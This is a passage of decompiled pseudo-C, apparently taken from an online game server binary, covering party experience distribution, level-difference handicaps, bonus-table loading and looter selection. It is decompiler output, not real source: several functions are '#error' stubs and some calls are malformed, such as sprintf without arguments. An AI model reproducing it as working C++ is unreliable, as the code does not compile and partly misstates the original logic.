nGuildNo ) { ++v3; if ( v3 >= 4096 ) return 0; } result = (GuildWarElement *)((char *)this + 8 * v3); } else { result = 0; } return result; } //----- (004708D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_PartyRegistNumber_InAttack(void *this) { return (*(int (**)(void))(*(_DWORD *)this + 1356))(); } //----- (004708E0) -------------------------------------------------------- #error "4708E0: undefined or illegal type '#615' (funcsize=8)" //----- (00470900) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_GetCharRegistNumber_ItemLooter(void *this) { return (*(int (**)(void))(*(_DWORD *)this + 836))(); } //----- (00470910) -------------------------------------------------------- #error "470910: undefined or illegal type '#615' (funcsize=8)" //----- (00470930) -------------------------------------------------------- #error "470930: undefined or illegal type '#615' (funcsize=7)" //----- (00470950) -------------------------------------------------------- int __thiscall HitMeList::Enemy::e_TimeCompare(HitMeList::Enemy *this, List *lst, unsigned __int16 hnd) { return clockwatch.cw_CurrTick - this->e_LastHitTime; } //----- (00470960) -------------------------------------------------------- void __thiscall LevelHandicap4ExperienceDouble::LevelHandicap4ExperienceDouble(LevelHandicap4ExperienceDouble *this) { this->lh4ed_Table[0] = 1.2; memcpy(&this->lh4ed_Table[1], this, 0x4A8u); memset(&this->lh4ed_Table[150], 0, 0x4B8u); this->lh4ed_Table[140] = 1.2; this->lh4ed_Table[141] = 1.2; this->lh4ed_Table[142] = 1.2; this->lh4ed_Table[143] = 1.2; this->lh4ed_Table[144] = 1.2; this->lh4ed_Table[145] = 1.2; this->lh4ed_Table[146] = 1.15; this->lh4ed_Table[147] = 1.1; this->lh4ed_Table[148] = 1.05; this->lh4ed_Table[149] = 1.0; this->lh4ed_Table[150] = 1.0; this->lh4ed_Table[151] = 1.0; this->lh4ed_Table[152] = 0.95; this->lh4ed_Table[153] = 0.85; this->lh4ed_Table[154] = 0.75; this->lh4ed_Table[155] = 0.65; this->lh4ed_Table[156] = 0.5; this->lh4ed_Table[157] = 0.35; this->lh4ed_Table[158] = 0.15; this->lh4ed_Table[159] = 0.01; this->lh4ed_Table[160] = 0.005; } //----- (00470A90) -------------------------------------------------------- long double __thiscall GroupExpDistribute::NearFriendInformationSummary::nfis_GroupBonusRate(GroupExpDistribute::NearFriendInformationSummary *this, int validpartynumber) { long double result; // st7@2 if ( (unsigned __int16)validpartynumber < 0x29u ) result = pebd.pebd_Bonus[(unsigned __int16)validpartynumber] - 1.0; else result = 1.0 - 1.0; return result; } //----- (00470AC0) -------------------------------------------------------- void __thiscall List::_List(HitMeList::EnemyList *this) { void *v1; // ecx@1 this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v1 = this->baseclass_0.l_Array; if ( v1 ) operator delete__(v1); } // 644060: using guessed type int (__stdcall *List_HitMeList__Enemy____vftable_[3])(__int16 hnd); //----- (00470AE0) -------------------------------------------------------- #error "470AE0: undefined or illegal type '#593' (funcsize=40)" //----- (00470B50) -------------------------------------------------------- #error "470B50: undefined or illegal type '#593' (funcsize=40)" //----- (00470BC0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xAu, 5u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00470C70) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 7u, 4u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00470D20) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 7u, 3u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00470DD0) -------------------------------------------------------- char __thiscall ListMaximumSearch::lid_Call(ListMaximumSearch *this, HitMeList::Enemy *ele, unsigned __int16 handle) { ListMaximumSearch *v3; // esi@1 int v4; // eax@1 v3 = this; v4 = this->lms_compfunc(ele, this->lms_lst, handle); if ( !v3->lms_max || v4 > v3->lms_maxval ) { v3->lms_max = ele; v3->lms_maxval = v4; v3->lms_hnd = handle; } return 1; } //----- (00470E10) -------------------------------------------------------- int __thiscall HitMeList::Enemy::e_ObjCompare(HitMeList::Enemy *this, List *lst, unsigned __int16 hnd, HitMeList::Enemy *key) { HitMeList::Enemy *v4; // esi@1 HitMeList::Enemy::__unnamed v5; // eax@1 int v6; // esi@2 HitMeList::Enemy::__unnamed v7; // eax@4 HitMeList::Enemy::__unnamed v8; // edx@4 char *v10; // [sp-4h] [bp-1Ch]@4 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "HitMeList::Enemy::e_ObjCompare"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "HitMeList::Enemy::e_ObjCompare"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = v4->e_Type; if ( v4->e_Type != key->e_Type ) { v6 = v5 - key->e_Type; LABEL_8: v10 = "HitMeList::Enemy::e_ObjCompare"; goto LABEL_9; } if ( v5 ) { v6 = LOWORD(v4->e_AttackerInfo) - LOWORD(key->e_AttackerInfo); goto LABEL_8; } v7 = v4->e_AttackerInfo; v8 = key->e_AttackerInfo; v10 = "HitMeList::Enemy::e_ObjCompare"; if ( v7 == v8 ) v6 = *(_WORD *)&v4->gap8[0] - *(_WORD *)&key->gap8[0]; else v6 = v7 - v8; LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); return v6; } //----- (00470EE0) -------------------------------------------------------- #error "470EE0: undefined or illegal type '#593' (funcsize=38)" //----- (00470F90) -------------------------------------------------------- void __thiscall ScanEnemy4ExpDist::_ScanEnemy4ExpDist(ScanEnemy4ExpDist *this) { ScanEnemy4ExpDist *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ScanEnemy4ExpDist::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ScanEnemy4ExpDist::~ScanEnemy4ExpDist"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScanEnemy4ExpDist::~ScanEnemy4ExpDist"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScanEnemy4ExpDist::~ScanEnemy4ExpDist"); v1->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 6440A0: using guessed type int (__thiscall *ScanEnemy4ExpDist___vftable_)(ScanEnemy4ExpDist *this, int ele, __int16 handle); //----- (00471010) -------------------------------------------------------- #error "471010: undefined or illegal type '#593' (funcsize=37)" //----- (004710C0) -------------------------------------------------------- void __thiscall ScanEnemy4ExpDist::se4ed_CheckParty(ScanEnemy4ExpDist *this, HitMeList::Enemy *ele, unsigned __int16 handle) { ScanEnemy4ExpDist *v3; // edi@1 unsigned __int16 v4; // ax@1 unsigned __int16 v5; // [sp-4h] [bp-20h]@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ScanEnemy4ExpDist::se4ed_CheckParty"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScanEnemy4ExpDist::se4ed_CheckParty"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = LOWORD(ele->e_AttackerInfo); if ( v4 >= 0xFA0u ) { AssertClass::ac_AssertFail(&shineassert, "ScanEnemy4ExpDist::se4ed_CheckParty : Too large party handle", v4); v5 = handle; LABEL_8: ScanEnemy4ExpDist::se4ed_FreeElement(v3, ele, v5); goto LABEL_9; } if ( ele->e_Type == 2 ) { if ( !RaidTask::rt_GetRaid(LOWORD(ele->e_AttackerInfo)) ) goto LABEL_7; } else { if ( partycontainer.m_Array[LOWORD(ele->e_AttackerInfo)].NumOfMember <= 1u ) { LABEL_7: v5 = handle; goto LABEL_8; } } LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScanEnemy4ExpDist::se4ed_CheckParty"); } //----- (004711C0) -------------------------------------------------------- #error "4711C0: undefined or illegal type '#593' (funcsize=80)" //----- (004712D0) -------------------------------------------------------- long double __thiscall LevelHandicap4ExperienceDouble::lh4ed_Handicap(LevelHandicap4ExperienceDouble *this, unsigned __int16 plyparty, int levplayer, int levmob) { LevelHandicap4ExperienceDouble *v4; // esi@1 long double result; // st7@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "LevelHandicap4ExperienceDouble::lh4ed_Handicap"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "LevelHandicap4ExperienceDouble::lh4ed_Handicap"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; result = v4->lh4ed_Table[levplayer - levmob + 150]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "LevelHandicap4ExperienceDouble::lh4ed_Handicap"); return result; } //----- (00471350) -------------------------------------------------------- #error "471350: undefined or illegal type '#593' (funcsize=62)" //----- (00471430) -------------------------------------------------------- void __thiscall MaxExpGainAtGroup::megag_Load(MaxExpGainAtGroup *this) { void *v1; // ebp@1 unsigned int v2; // esi@1 unsigned int v3; // ebx@1 void *v4; // eax@3 int v5; // esi@6 bool v6; // zf@7 int v7; // [sp+10h] [bp-58h]@1 BinaryData thisa; // [sp+14h] [bp-54h]@1 int v9; // [sp+50h] [bp-18h]@1 char v10; // [sp+54h] [bp-14h]@1 unsigned int v11; // [sp+58h] [bp-10h]@1 int v12; // [sp+64h] [bp-4h]@1 v1 = this; v11 = (unsigned int)&v7 ^ __security_cookie; CCharacterTitleData::CCharacterTitleData(&thisa); v9 = 0; v10 = 0; v2 = 0; v12 = 0; BinaryDataBox::bdb_ReadData( (BinaryDataBox *)&thisa, "../9Data/Hero/PartyBonusLimit.shn"); v3 = thisa.baseclass_0.m_pHead->nNumOfRecord; memset(v1, 0, 0x25Cu); if ( (signed int)v3 > 0 ) { do { if ( v2 < thisa.baseclass_0.m_pHead->nNumOfRecord ) v4 = CDataReader::GetRecord(&thisa.baseclass_0, v2); else v4 = &v9; ++v2; *((_DWORD *)v1 + *(_BYTE *)v4) = *(_DWORD *)((char *)v4 + 1); } while ( (signed int)v2 < (signed int)v3 ); } v5 = 1; do { v6 = *((_DWORD *)v1 + v5) <= 0u; v7 = *((_DWORD *)v1 + v5) > 0u; if ( v6 ) AssertClass::ac_AssertFail(&shineassert, "PartyExperienceBonusDouble::pebd_Load : Data error", v5); ++v5; } while ( v5 <= 150 ); v12 = -1; CCharacterTitleData::_CCharacterTitleData(&thisa); __security_check_cookie((unsigned int)&v7 ^ v11); } //----- (00471520) -------------------------------------------------------- void __thiscall LevelHandicap4ExperienceDouble::lh4ed_Load(LevelHandicap4ExperienceDouble *this, OptionReader *or) { LevelHandicap4ExperienceDouble *v2; // edi@1 unsigned int v3; // ebx@1 void *v4; // eax@3 signed int v5; // esi@5 unsigned int v6; // edx@6 int v7; // ecx@6 int v8; // edx@10 int v9; // ecx@10 unsigned int k; // [sp+10h] [bp-60h]@1 signed int num; // [sp+14h] [bp-5Ch]@1 char bindata; // [sp+18h] [bp-58h]@1 int v13; // [sp+48h] [bp-28h]@1 int v14; // [sp+54h] [bp-1Ch]@1 unsigned int v15; // [sp+5Ch] [bp-14h]@1 int v16; // [sp+6Ch] [bp-4h]@1 int v17; // [sp+70h] [bp+0h]@1 v2 = this; v15 = (unsigned int)&v17 ^ __security_cookie; CCharacterTitleData::CCharacterTitleData((BinaryData *)&bindata); v14 = 0; v16 = 0; BinaryDataBox::bdb_ReadData( (BinaryDataBox *)&bindata, "../9Data/Hero/PartyBonusByLvDiff.shn"); v3 = 0; num = *(_DWORD *)(v13 + 40); k = 0; if ( *(_DWORD *)(v13 + 40) > 0 ) { do { if ( v3 < *(_DWORD *)(v13 + 40) ) v4 = CDataReader::GetRecord((CDataReader *)&bindata, v3); else v4 = &v14; v5 = *(_WORD *)v4; if ( 151 - v5 >= 4 ) { v6 = ((unsigned int)(147 - v5) >> 2) + 1; v7 = (int)&v2->lh4ed_Table[v5 + 151]; v5 += 4 * v6; do { v7 += 32; --v6; *(double *)(v7 - 40) = (double)*((_WORD *)v4 + 1) * 0.001; *(double *)(v7 - 32) = (double)*((_WORD *)v4 + 1) * 0.001; *(double *)(v7 - 24) = (double)*((_WORD *)v4 + 1) * 0.001; *(double *)(v7 - 16) = (double)*((_WORD *)v4 + 1) * 0.001; } while ( v6 ); v3 = k; } if ( v5 <= 150 ) { v8 = (int)&v2->lh4ed_Table[v5 + 150]; v9 = 151 - v5; do { v8 += 8; --v9; *(double *)(v8 - 8) = (double)*((_WORD *)v4 + 1) * 0.001; } while ( v9 ); } ++v3; k = v3; } while ( (signed int)v3 < num ); } v16 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&bindata); } //----- (004716A0) -------------------------------------------------------- void __thiscall PartyExperienceBonusDouble::pebd_Load(PartyExperienceBonusDouble *this, OptionReader *or) { PartyExperienceBonusDouble *v2; // esi@1 unsigned int v3; // edi@1 signed int v4; // ebx@1 int i; // eax@1 void *v6; // eax@5 int j; // edi@8 char bindata; // [sp+10h] [bp-58h]@1 int v9; // [sp+40h] [bp-28h]@1 __int16 v10; // [sp+4Ch] [bp-1Ch]@1 char v11; // [sp+4Eh] [bp-1Ah]@1 unsigned int v12; // [sp+54h] [bp-14h]@1 int v13; // [sp+64h] [bp-4h]@1 int v14; // [sp+68h] [bp+0h]@1 v2 = this; v12 = (unsigned int)&v14 ^ __security_cookie; CCharacterTitleData::CCharacterTitleData((BinaryData *)&bindata); v10 = 0; v11 = 0; v3 = 0; v13 = 0; BinaryDataBox::bdb_ReadData( (BinaryDataBox *)&bindata, "../9Data/Hero/PartyBonusByMember.shn"); v4 = *(_DWORD *)(v9 + 40); for ( i = 0; i <= v2->pebd_MaxNum; *((double *)v2 + i - 1) = -1.0 ) ++i; if ( v4 > 0 ) { do { if ( v3 < *(_DWORD *)(v9 + 40) ) v6 = CDataReader::GetRecord((CDataReader *)&bindata, v3); else v6 = &v10; ++v3; v2->pebd_Bonus[*(_BYTE *)v6] = (double)*(_WORD *)((char *)v6 + 1) * 0.001; } while ( (signed int)v3 < v4 ); } for ( j = 0; j <= v2->pebd_MaxNum; ++j ) { if ( v2->pebd_Bonus[j] < 0.0 ) AssertClass::ac_AssertFail(&shineassert, "PartyExperienceBonusDouble::pebd_Load : Data error", j); } v13 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&bindata); } //----- (004717D0) -------------------------------------------------------- HitMeList::Enemy *__thiscall List::l_MaximumSearch(List *this, int (__thiscall *compfunc)(HitMeList::Enemy *, List *, unsigned __int16), unsigned __int16 *hnd) { HitMeList::Enemy *result; // eax@1 int (__stdcall **searcher)(int, __int16); // [sp+0h] [bp-24h]@1 List *v5; // [sp+4h] [bp-20h]@1 HitMeList::Enemy *v6; // [sp+Ch] [bp-18h]@1 unsigned __int16 v7; // [sp+10h] [bp-14h]@1 int (__thiscall *v8)(HitMeList::Enemy *, List *, unsigned __int16); // [sp+14h] [bp-10h]@1 int v9; // [sp+20h] [bp-4h]@1 searcher = &ListMaximumSearch::_vftable_; v5 = this; v6 = 0; v8 = compfunc; v9 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = v6; *hnd = v7; return result; } // 64407C: using guessed type int (__stdcall *ListMaximumSearch_HitMeList__Enemy____vftable_)(int ele, __int16 handle); //----- (00471830) -------------------------------------------------------- HitMeList::Enemy *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(HitMeList::Enemy *, List *, unsigned __int16, HitMeList::Enemy *), unsigned __int16 *hnd, HitMeList::Enemy *key) { HitMeList::Enemy *result; // eax@1 int (__stdcall **searcher)(int, __int16); // [sp+0h] [bp-24h]@1 List *v6; // [sp+4h] [bp-20h]@1 int (__thiscall *v7)(HitMeList::Enemy *, List *, unsigned __int16, HitMeList::Enemy *); // [sp+8h] [bp-1Ch]@1 HitMeList::Enemy *v8; // [sp+Ch] [bp-18h]@1 HitMeList::Enemy *v9; // [sp+10h] [bp-14h]@1 unsigned __int16 v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v7 = compfunc; searcher = &ListSearchSame::_vftable_; v6 = this; v8 = key; v9 = 0; v10 = -1; v11 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = v9; *hnd = v10; return result; } // 64197C: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); //----- (004718A0) -------------------------------------------------------- #error "4718A0: undefined or illegal type '#593' (funcsize=29)" //----- (004718E0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00471A00) -------------------------------------------------------- #error "471A00: undefined or illegal type '#593' (funcsize=207)" //----- (00471CC0) -------------------------------------------------------- ShineMultiTypeHandle *__thiscall HitMeList::EnemyList::el_FindLooter(HitMeList::EnemyList *this, ShineMultiTypeHandle *result) { HitMeList::EnemyList *v2; // esi@1 int v3; // edi@1 int v4; // eax@1 ListStruct *v5; // ecx@1 unsigned __int16 v6; // si@1 unsigned __int16 v7; // bp@1 int v8; // eax@3 unsigned __int16 v9; // bx@3 bool v10; // cf@3 HitMeList::Enemy *v11; // edx@5 HitMeList::Enemy *v12; // edx@10 int v13; // eax@13 char v14; // dl@13 int v15; // eax@13 ShineMultiTypeHandle *v16; // esi@17 unsigned int v17; // eax@17 unsigned int v18; // edx@17 signed int v19; // esi@19 Raid *v20; // eax@19 CParty::PARTY_SLOT *v21; // eax@23 unsigned int v22; // eax@23 #593 *v23; // eax@24 unsigned int v24; // ecx@26 unsigned int v25; // eax@26 unsigned __int16 v27; // [sp+10h] [bp-24h]@1 int maxdam; // [sp+14h] [bp-20h]@1 ShineMultiTypeHandle::HandleType LooterHandle; // [sp+1Ch] [bp-18h]@1 unsigned int v30; // [sp+20h] [bp-14h]@17 unsigned int v31; // [sp+24h] [bp-10h]@17 int v32; // [sp+30h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "HitMeList::EnemyList::el_FindLooter"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "HitMeList::EnemyList::el_FindLooter"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; v32 = 0; ShineMultiTypeHandle::ShineMultiTypeHandle((ShineMultiTypeHandle *)&LooterHandle); v4 = v2->baseclass_0.l_Finger.store; v5 = v2->baseclass_0.l_Array; v6 = v2->baseclass_0.l_MaxSize; v7 = v5[v4].ls_Next; maxdam = 0; v27 = v6; while ( v7 < v6 ) { v8 = v7; v9 = v7; v10 = v7 < v6; v7 = v5[v7].ls_Next; if ( v10 && v5[v8].ls_IsActiv ) v11 = v5[v8].ls_Content; else v11 = 0; v6 = v27; if ( v11->e_TotalDamage > maxdam ) { if ( v9 < v27 && v5[v8].ls_IsActiv ) v12 = v5[v8].ls_Content; else v12 = 0; maxdam = v12->e_TotalDamage; if ( v9 < v27 && (v13 = 3 * v8, v14 = v5[4 * v13 / 0xCu].ls_IsActiv, v15 = (int)&v5[4 * v13 / 0xCu], v14) ) v3 = *(_DWORD *)v15; else v3 = 0; } } if ( v3 ) { if ( *(_DWORD *)v3 == 2 ) { v19 = -1; v20 = RaidTask::rt_GetRaid(*(_WORD *)(v3 + 4)); if ( v20 ) v19 = Raid::GetLooter(v20); ShineMultiTypeHandle::SetShineRaidRegnum((ShineMultiTypeHandle *)&LooterHandle, *(_WORD *)(v3 + 4), v19); } else { if ( *(_DWORD *)v3 == 1 ) { v21 = CParty::operator__(&partycontainer, *(_WORD *)(v3 + 4)); v22 = CLooting::GetLooter(&v21->m_Looting); ShineMultiTypeHandle::SetShinePartyRegnum((ShineMultiTypeHandle *)&LooterHandle, *(_WORD *)(v3 + 4), v22); } else { v23 = ShineObjectManager::som_FindPlayer(&shineobjmanager, *(_DWORD *)(v3 + 4)); if ( v23 ) ShineMultiTypeHandle::SetShineObject((ShineMultiTypeHandle *)&LooterHandle, v23); } } v16 = result; v24 = v30; result->m_type = LooterHandle; v25 = v31; result->m_ShineHandle = v24; result->m_LooterCharRegNo = v25; } else { v16 = result; v17 = v30; result->m_type = LooterHandle; v18 = v31; result->m_ShineHandle = v17; result->m_LooterCharRegNo = v18; } --funcallanalizer.fca_stackpoint; v32 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "HitMeList::EnemyList::el_FindLooter"); return v16; } //----- (00471EB0) -------------------------------------------------------- void __thiscall HitMeList::EnemyList::el_ExpDistribute(HitMeList::EnemyList *this, #593 *mob, MobDataBox::MobDataBoxIndex *mobinf, unsigned __int16 mobhandle) { List *v4; // esi@1 MobInfoServer *v5; // ST08_4@1 MobInfoServer *v6; // eax@1 char se; // [sp+10h] [bp-38h]@1 int v8; // [sp+18h] [bp-30h]@1 int (__stdcall **ed)(int, __int16); // [sp+24h] [bp-24h]@1 MobDataBox::MobDataBoxIndex *v10; // [sp+28h] [bp-20h]@1 int v11; // [sp+2Ch] [bp-1Ch]@1 #593 *v12; // [sp+30h] [bp-18h]@1 MobInfoServer *v13; // [sp+34h] [bp-14h]@1 unsigned __int16 v14; // [sp+38h] [bp-10h]@1 int v15; // [sp+44h] [bp-4h]@1 v4 = (List *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "HitMeList::EnemyList::el_ExpDistribute"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "HitMeList::EnemyList::el_ExpDistribute"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = mobinf->serv; v15 = 0; ScanEnemy4ExpDist::ScanEnemy4ExpDist((ScanEnemy4ExpDist *)&se, v4, mob, v5); LOBYTE(v15) = 1; List::l_4AllInList((List *)v4, (ListIteratorDefault *)&se); v6 = mobinf->serv; ed = (int (__stdcall **)(int, __int16))&ExperienceDistribute::_vftable_; v10 = mobinf; v11 = v8; v12 = mob; v13 = v6; v14 = mobhandle; LOBYTE(v15) = 2; List::l_4AllInList((List *)v4, (ListIteratorDefault *)&ed); ed = &ListIteratorDefault::_vftable_; LOBYTE(v15) = 0; ScanEnemy4ExpDist::_ScanEnemy4ExpDist((ScanEnemy4ExpDist *)&se); --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "HitMeList::EnemyList::el_ExpDistribute"); } // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 6441D8: using guessed type int (__thiscall *ExperienceDistribute___vftable_)(ExperienceDistribute *this, int ele, __int16 handle); //----- (00471FC0) -------------------------------------------------------- char __thiscall ScanEnemy4ExpDist::lid_Call(ScanEnemy4ExpDist *this, HitMeList::Enemy *ele, unsigned __int16 handle) { ScanEnemy4ExpDist *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ScanEnemy4ExpDist::lid_Call"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScanEnemy4ExpDist::lid_Call"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ele->e_Type ) ScanEnemy4ExpDist::se4ed_CheckParty(v3, ele, handle); else ScanEnemy4ExpDist::se4ed_CheckSoloing(v3, ele, handle); v3->se4ed_TotalDamage += ele->e_TotalDamage; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScanEnemy4ExpDist::lid_Call"); return 1; } //----- (00472080) -------------------------------------------------------- void __cdecl HitMeList::hml_Load(Name4 *world) { LevelHandicap4ExperienceDouble::lh4ed_Load(&lh4ed, 0); PartyExperienceBonusDouble::pebd_Load(&pebd, 0); MaxExpGainAtGroup::megag_Load((MaxExpGainAtGroup *)g_MaxExpGainAtGroup); } // D1D90E0: using guessed type int g_MaxExpGainAtGroup[]; //----- (004720B0) -------------------------------------------------------- void __thiscall HitMeList::EnemyList::EnemyList(HitMeList::EnemyList *this) { HitMeList::EnemyList *v1; // esi@1 signed int v2; // edi@1 int v3; // eax@1 int v4; // edx@1 signed int v5; // ebx@1 ListStruct *v6; // ecx@3 HitMeList::Enemy *v7; // ebp@3 int v8; // ecx@3 ListStruct *v9; // ecx@6 HitMeList::Enemy *v10; // ebp@6 int v11; // ecx@6 ListStruct *v12; // ecx@9 HitMeList::Enemy *v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 HitMeList::Enemy *v16; // ebp@12 int v17; // ecx@12 ListIteratorDefault arg; // [sp+14h] [bp-14h]@15 HitMeList::EnemyList *v19; // [sp+18h] [bp-10h]@15 int v20; // [sp+24h] [bp-4h]@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x10u); v20 = 0; v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = 2; v3 = 0; v4 = (int)&v1->el_array[1]; v5 = 4; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = v1->baseclass_0.l_Array; v7 = v6[v3].ls_Content; v8 = (int)&v6[v3]; if ( !v7 ) *(_DWORD *)v8 = v4 - 24; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = v1->baseclass_0.l_Array; v10 = v9[v3 + 1].ls_Content; v11 = (int)&v9[v3 + 1]; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = v1->baseclass_0.l_Array; v13 = v12[v3 + 2].ls_Content; v14 = (int)&v12[v3 + 2]; if ( !v13 ) *(_DWORD *)v14 = v4 + 24; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3 + 3].ls_Content; v17 = (int)&v15[v3 + 3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 48; } v4 += 96; v3 += 4; v2 += 4; --v5; } while ( v5 ); arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v19 = v1; LOBYTE(v20) = 1; List::l_4AllInList((List *)v1, &arg); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 644060: using guessed type int (__stdcall *List_HitMeList__Enemy____vftable_[3])(__int16 hnd); //----- (004721C0) -------------------------------------------------------- void __thiscall 